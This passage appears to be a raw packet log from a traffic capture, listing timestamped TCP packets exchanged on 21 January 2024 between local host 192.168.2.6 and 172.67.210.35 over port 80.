Jan 21, 2024 17:27:13.059751034 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.059808969 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.059822083 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.059834003 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.059848070 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.059866905 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.059880972 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.060609102 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.060653925 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.060676098 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.060689926 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.060700893 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.060715914 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.060734034 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.060761929 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.061450005 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.061532021 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.061544895 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.061557055 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.061570883 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.061578989 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.061615944 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.062302113 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.062315941 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.062328100 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.062340975 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.062345028 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.062354088 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.062364101 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.062392950 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.063174963 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.063188076 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.063199997 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.063211918 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.063225031 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.063225985 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.063254118 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.063987970 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.064001083 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.064013004 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.064026117 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.064038038 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.064049006 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.064074993 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.064126015 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.064755917 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.064821959 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.064836025 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.064848900 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.064862967 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.064862967 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.064949989 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.065573931 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.065587997 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.065606117 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.065618992 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.065633059 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.065635920 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.065664053 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.065681934 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.066473007 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.066485882 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.066498041 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.066510916 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.066523075 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.066524982 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.066555023 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.067308903 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.067322969 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.067334890 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.067342043 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.067349911 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.067363024 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.067397118 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.068145990 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.068160057 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.068171978 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.068185091 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.068198919 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.068209887 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.068223000 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.068912029 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.068926096 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.068970919 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.068993092 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.069005966 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.069020033 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.069036961 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.069065094 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.069773912 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.069787979 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.069798946 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.069813013 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.069827080 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.069835901 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.069859982 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.070586920 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.070636034 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.070645094 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.070657969 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.070671082 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.070683002 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.070697069 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.070736885 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.071439028 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.071453094 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.071497917 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.071516037 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.071530104 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.071542978 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.071573973 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.072232962 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.072283983 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.072293043 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.072308064 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.072319984 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.072334051 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.072344065 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.072395086 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.073077917 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.073096037 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.073107958 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.073128939 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.073138952 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.073143959 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.073178053 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.073879957 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.073931932 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.073951006 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.073964119 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.073976994 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.073991060 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.073997974 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.074117899 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.074779034 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.074791908 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.074804068 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.074816942 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.074829102 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.074831963 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.074856043 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.075551033 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.075565100 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.075577021 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.075593948 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.075615883 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.075620890 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.075629950 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.075675964 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.076415062 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.076448917 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.076462984 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.076474905 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.076488972 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.076498985 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.076517105 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.077195883 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.077254057 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.077255011 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.077267885 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.077281952 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.077296019 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.077308893 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.077347040 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.078119040 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.078133106 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.078145981 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.078176022 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.078183889 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.078197956 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.078226089 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.078958988 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.078973055 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.078984976 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.078998089 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.079008102 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.079011917 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.079031944 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.079067945 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.079726934 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.079775095 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.079787970 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.079799891 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.079813004 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.079823971 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.079853058 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.080620050 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.080634117 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.080646038 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.080660105 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.080662012 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.080674887 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.080691099 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.080720901 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.081378937 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.081438065 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.081450939 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.081464052 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.081475019 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.081484079 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.081517935 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.082201004 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.082215071 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.082252979 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.082288980 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.082303047 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.082314968 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.082350969 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.082370043 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.083071947 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.083086014 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.083098888 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.083139896 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.083151102 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.083164930 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.083204031 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.083849907 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.083893061 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.083893061 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.083908081 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.083930969 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.083941936 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.083945990 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.083987951 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.084707975 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.084722996 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.084736109 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.084774971 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.084789038 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.084789991 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.084817886 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.096009016 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.096038103 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.096050978 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.096064091 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.096065998 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.096081018 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.096101046 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.096122980 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.096312046 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.096330881 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.096343994 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.096358061 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.096371889 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.096381903 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.096405029 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.097105980 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.097141027 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.097151041 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.097155094 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.097178936 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.097193003 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.097193956 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.097240925 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.097925901 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.098001957 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.098015070 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.098026991 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.098040104 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.098051071 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.098063946 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.098829985 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.098843098 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.098855019 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.098869085 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.098874092 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.098885059 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.098903894 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.098933935 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.099600077 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.099613905 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.099654913 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.099662066 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.099668980 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.099682093 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.099703074 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.100502968 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.100517035 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.100528955 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.100542068 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.100553989 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.100554943 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.100579977 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.100608110 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.101253033 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.101265907 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.101316929 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.101339102 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.101352930 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.101365089 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.101385117 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.102157116 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.102171898 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.102184057 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.102196932 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.102206945 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.102211952 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.102217913 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.102283001 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.102910995 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.102998018 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.103010893 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.103023052 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.103037119 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.103041887 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.103064060 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.103763103 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.103809118 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.103820086 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.103832960 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.103842974 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.103857994 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.103868008 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.103902102 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.104574919 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.104644060 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.104655981 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.104669094 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.104684114 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.104690075 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.104712963 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.105434895 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.105448008 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.105489016 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.105510950 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.105524063 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.105535984 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.105559111 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.105585098 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.106276989 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.106292009 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.106303930 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.106317043 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.106329918 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.106338978 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.106354952 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.107090950 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.107105970 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:13.107134104 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:13.107141972 CET	80	49713	172.67.210.35	192.168.2.6
